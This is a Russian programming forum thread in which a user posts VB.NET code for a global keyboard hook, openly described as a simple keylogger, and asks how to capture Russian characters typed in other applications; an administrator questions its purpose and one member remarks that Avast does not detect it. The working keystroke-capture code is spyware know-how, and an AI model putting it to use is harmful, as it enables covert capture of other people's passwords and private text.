0 / 0 / 0
Регистрация: 30.01.2013
Сообщений: 83
1

Отлов нажатия клавиш. Не отлавливает русские символы

02.01.2014, 00:40. Показов 2260. Ответов 20
Метки нет (Все метки)

Существует выборка

VB.NET
1
2
3
4
5
6
Case 65 To 90
                If Control.IsKeyLocked(Keys.CapsLock) Or (Control.ModifierKeys And Keys.Shift) <> 0 Then
                    Return e.ToString
                Else
                    Return e.ToString.ToLower
                End If
Где 65 -90 десятичные коды английских клавиш.

Нашёл,код русских клавиш 224-255
пытаюсь прописать следующее
VB.NET
1
2
3
4
5
6
Case 224 To 255
                If Control.IsKeyLocked(Keys.CapsLock) Or (Control.ModifierKeys And Keys.Shift) <> 0 Then
                    Return e.ToString
                Else
                    Return e.ToString.ToLower
                End If
Но когда компилирую в программе не отображаются русские символы ,как быть?)

Весь код:

VB.NET
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
Public Class Keyboard
    Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal Hook As Integer, ByVal KeyDelegate As KDel, ByVal HMod As Integer, ByVal ThreadId As Integer) As Integer
    Private Declare Function CallNextHookEx Lib "user32" (ByVal Hook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
    Private Declare Function UnhookWindowsHookEx Lib "user32" Alias "UnhookWindowsHookEx" (ByVal Hook As Integer) As Integer
    Private Delegate Function KDel(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
    Public Shared Event Down(ByVal Key As String)
    Public Shared Event Up(ByVal Key As String)
    Private Shared Key As Integer
    Private Shared KHD As KDel
    Private Structure KeyStructure : Public Code As Integer : Public ScanCode As Integer : Public Flags As Integer : Public Time As Integer : Public ExtraInfo As Integer : End Structure
    Public Sub CreateHook()
        KHD = New KDel(AddressOf Proc)
        Key = SetWindowsHookEx(13, KHD, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
    End Sub
 
    Private Function Proc(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
        If (Code = 0) Then
            Select Case wParam
                Case &H100, &H104 : RaiseEvent Down(Feed(CType(lParam.Code, Keys)))
                Case &H101, &H105 : RaiseEvent Up(Feed(CType(lParam.Code, Keys)))
            End Select
        End If
        Return CallNextHookEx(Key, Code, wParam, lParam)
    End Function
    Public Sub DiposeHook()
        UnhookWindowsHookEx(Key)
        MyBase.Finalize()
    End Sub
    Private Function Feed(ByVal e As Keys) As String
        Select Case e
            Case 65 To 90
                If Control.IsKeyLocked(Keys.CapsLock) Or (Control.ModifierKeys And Keys.Shift) <> 0 Then
                    Return e.ToString
                Else
                    Return e.ToString.ToLower
                End If
            Case 224 To 255
                If Control.IsKeyLocked(Keys.CapsLock) Or (Control.ModifierKeys And Keys.Shift) <> 0 Then
                    Return e.ToString
                Else
                    Return e.ToString.ToLower
                End If
            Case 48 To 57
                If (Control.ModifierKeys And Keys.Shift) <> 0 Then
                    Select Case e.ToString
                        Case "D1" : Return "!"
                        Case "D2" : Return "@"
                        Case "D3" : Return "#"
                        Case "D4" : Return "$"
                        Case "D5" : Return "%"
                        Case "D6" : Return "^"
                        Case "D7" : Return "&"
                        Case "D8" : Return "*"
                        Case "D9" : Return "("
                        Case "D0" : Return ")"
                    End Select
                Else
                    Return e.ToString.Replace("D", Nothing)
                End If
            Case 96 To 105
                Return e.ToString.Replace("NumPad", Nothing)
            Case 106 To 111
                Select Case e.ToString
                    Case "Divide" : Return "/"
                    Case "Multiply" : Return "*"
                    Case "Subtract" : Return "-"
                    Case "Add" : Return "+"
                    Case "Decimal" : Return "."
                End Select
            Case 32
                Return " "
            Case 186 To 222
                If (Control.ModifierKeys And Keys.Shift) <> 0 Then
                    Select Case e.ToString
                        Case "OemMinus" : Return "_"
                        Case "Oemplus" : Return "+"
                        Case "OemOpenBrackets" : Return "{"
                        Case "Oem6" : Return "}"
                        Case "Oem5" : Return "|"
                        Case "Oem1" : Return ":"
                        Case "Oem7" : Return """"
                        Case "Oemcomma" : Return "<"
                        Case "OemPeriod" : Return ">"
                        Case "OemQuestion" : Return "?"
                        Case "Oemtilde" : Return "~"
                    End Select
                Else
                    Select Case e.ToString
                        Case "OemMinus" : Return "-"
                        Case "Oemplus" : Return "="
                        Case "OemOpenBrackets" : Return "["
                        Case "Oem6" : Return "]"
                        Case "Oem5" : Return "\"
                        Case "Oem1" : Return ";"
                        Case "Oem7" : Return "'"
                        Case "Oemcomma" : Return ","
                        Case "OemPeriod" : Return "."
                        Case "OemQuestion" : Return "/"
                        Case "Oemtilde" : Return "`"
                    End Select
                End If
            Case Keys.Return
                Return Environment.NewLine
            Case Else
                Return "<" + e.ToString + ">"
        End Select
        Return Nothing
    End Function
End Class
__________________
Помощь в написании контрольных, курсовых и дипломных работ здесь
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
02.01.2014, 00:40
Ответы с готовыми решениями:

Отлов нажатия клавиш на форме
Отлавливались нажатия на клавиши на форме (Handles Me.KeyDown). После добавления на форму...

Отлов нажатия клавиш в пределах своего приложения
Как сделать, чтобы при нажатии на какую=либо клавмшу, выполнлось какое либо действие? Например мне...

Глобальный Hook - отлов нажатия одной из клавиш
Добрый вечер! Извините за ламерский вопрос. Проблема заключается в следующем. Мне нужно что бы...

Отлов нажатия клавиш
Хочу создать класс, который будет мне говорить, какая клавиша нажата в данный момент. Как это...

20
insite2012
02.01.2014, 00:48
  #2

Не по теме:

Я, конечно, извиняюсь, но неужели так трудно подробно рассказать, что за программа, что должна делать и что не делает?

0
Почетный модератор
21308 / 9042 / 1082
Регистрация: 11.04.2010
Сообщений: 11,014
02.01.2014, 00:52 3
Цитата Сообщение от insite2012 Посмотреть сообщение
что за программа
Вроде кейлоггер
0
0 / 0 / 0
Регистрация: 30.01.2013
Сообщений: 83
02.01.2014, 00:56  [ТС] 4
Цитата Сообщение от Памирыч Посмотреть сообщение
Вроде кейлоггер
Вы правы это класс для простенького кейлоггера
0
insite2012
02.01.2014, 00:56
  #5

Не по теме:

Да я тоже смотрю, вроде нажатия клавиш отслеживаются... Только проект куском, и что там можно понять... Я точно не пойму... Сейчас попробую скопировать в проект, посмотрим что выйдет...

0
0 / 0 / 0
Регистрация: 30.01.2013
Сообщений: 83
02.01.2014, 01:00  [ТС] 6
вот сама форма:

VB.NET
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Public Class Form1
    Dim WithEvents k As New Keyboard
    Dim Append As String
 
    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        k.DiposeHook()
    End Sub
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        k.CreateHook()
    End Sub
    Private Sub k_Down(ByVal key As String) Handles k.Down
        Append &= key
        TextBox1.Text &= key
    End Sub
End Class
0
Эксперт .NET
5341 / 4133 / 1187
Регистрация: 12.10.2013
Сообщений: 11,986
Записей в блоге: 2
02.01.2014, 01:05 7
Русские буквы где должны отображаться? В текстбоксе? У меня отображаются... Если переключаюсь на русскую раскладку, все как положено показывает...
0
0 / 0 / 0
Регистрация: 30.01.2013
Сообщений: 83
02.01.2014, 01:07  [ТС] 8
Цитата Сообщение от insite2012 Посмотреть сообщение
Русские буквы где должны отображаться? В текстбоксе? У меня отображаются... Если переключаюсь на русскую раскладку, все как положено показывает...
Блин а у меня не выходит
0
Эксперт .NET
5341 / 4133 / 1187
Регистрация: 12.10.2013
Сообщений: 11,986
Записей в блоге: 2
02.01.2014, 01:11 9
Ну тогда не знаю, почему так...
0
0 / 0 / 0
Регистрация: 30.01.2013
Сообщений: 83
02.01.2014, 01:26  [ТС] 10
Цитата Сообщение от insite2012 Посмотреть сообщение
Ну тогда не знаю, почему так...
Мне кажется,вы меня не правильно поняли,текст должен перехватываться из стороннего приложения и выводится на текстбокс
0
Почетный модератор
21308 / 9042 / 1082
Регистрация: 11.04.2010
Сообщений: 11,014
02.01.2014, 01:28 11
Темыч, Вы бы еще пояснили, каково назначение этого кейлоггера. Что он должен делать в итоге?
0
0 / 0 / 0
Регистрация: 30.01.2013
Сообщений: 83
02.01.2014, 10:29  [ТС] 12
Цитата Сообщение от Памирыч Посмотреть сообщение
Что он должен делать в итоге?
Как следует из названия,он должен вести лог нажатых клавиш,в принципе прога работает,но отображает только английские символы,не знаю как реализовать перехват русских символов.Подумывал об определение раскладки клавиатуры открытого окна,но кода такого не нашёл
0
Заблокирован
02.01.2014, 10:36 13
Цитата Сообщение от Темыч Посмотреть сообщение
Подумывал об определение раскладки клавиатуры открытого окна,но кода такого не нашёл
хм, а если определять системную раскладку и переключать ее?
0
0 / 0 / 0
Регистрация: 30.01.2013
Сообщений: 83
02.01.2014, 10:51  [ТС] 14
Цитата Сообщение от Release Посмотреть сообщение
хм, а если определять системную раскладку и переключать ее?
Системная не годиться,у меня операционная система windows 7,в каждом окне свой язык)

Добавлено через 4 минуты
Наверное более менее понять суть проблемы можно со скриншота
Миниатюры
Отлов нажатия клавиш. Не отлавливает русские символы  
0
Taatshi
02.01.2014, 13:10
  #15
 Комментарий администратора 
Темыч, кейлоггер - шпионская программа. Если Вы не поясните цели создания кейлоггера - тему придется закрыть.

Жду объяснений.
0
Форумчанин.NET
553 / 424 / 64
Регистрация: 12.02.2013
Сообщений: 834
02.01.2014, 13:16 16
По поводу раскладки активного окна
1
0 / 0 / 0
Регистрация: 30.01.2013
Сообщений: 83
02.01.2014, 15:31  [ТС] 17
Жду объяснений.
Разобраться в основах Visual Basic,ясно дело использовать данный кейлоггер по назначению глупо,ибо любой антивирь его сразу палит.
Миниатюры
Отлов нажатия клавиш. Не отлавливает русские символы  
0
insite2012
02.01.2014, 16:07
  #18

Не по теме:

Avast программу в упор не видит, запускается как ни в чем ни бывало...:(

0
0 / 0 / 0
Регистрация: 30.01.2013
Сообщений: 83
03.01.2014, 02:34  [ТС] 19
Научился определять раскладку сторонней программы,подскажите как определять раскладку любого активного окна?)


VB.NET
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 Declare Auto Function FindWindow Lib "USER32.DLL" (ByVal lpClassName As String, ByVal lpWindowName As String) As IntPtr
    Declare Auto Function SetForegroundWindow Lib "USER32.DLL" (ByVal hwnd As IntPtr) As Boolean
    Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As IntPtr, ByVal lpdwProcessId As Integer) As Integer
    Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Integer)
    Private Declare Function GetKeyboardLayout Lib "user32" (ByVal dwLayout As Integer) As Integer
    Declare Function LoadKeyboardLayout Lib "user32" Alias "LoadKeyboardLayoutA" (ByVal pwszKLID As String, ByVal flags As String) As String
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Shell("C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE", AppWinStyle.NormalFocus)
        Dim hwnd As String
        Dim ThreadID As Long
        Dim ThreadLayout As Long
        hwnd = FindWindow(vbNullString, "Документ1 - Microsoft Word")
        If hwnd = 0 Then
            MsgBox(hwnd)
        Else
            ThreadID = GetWindowThreadProcessId(hwnd, 0&)
 
            ThreadLayout = GetKeyboardLayout(ThreadID)
 
            MsgBox("Раскладка " & Hex(ThreadLayout))
        End If
        Call LoadKeyboardLayout("00000419", &H1)
        Sleep(1000)
        AppActivate("Документ1 - Microsoft Word")
        SetForegroundWindow(hwnd)
          End Sub
0
Заблокирован
03.01.2014, 09:29 20
Темыч, вам же дали ссылку выше или не подходит?
0
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
03.01.2014, 09:29

Отлов нажатия клавиш в пределах приложения
Клавиши должны перехватываться не глобально, а в пределах приложения с несколькими формами......

Отлов нажатия клавиш в свернутом состоянии
Здравствуйте. Мне необходимо, чтобы моя программа реагировала на нажатие клавиши F4 даже находясь в...

Отлов нажатия клавиш вне своей формы
Добрый день! Вопрос, как можно отловить нажатия клавиш или комбинации клавиш все своей формы, к...

Отлов нажатия клавиш в пределах своей формы
Добрый день, никак не могу найти свойство, где посмотреть нажата ли в данный момент определенная...

Отлов нажатия клавиш мышки и клавиатуры через API
Здраствуйте Как через API Windows в C# можно отловить нажатия определенной клавиши мышки или...

Не работает отлов нажатия клавиш даже с KeyPrewiev в true
KeyPrewiev стоит true все равно не работает. Я короче сразу пишу в textBox1 пишу например...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
20
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2021, vBulletin Solutions, Inc.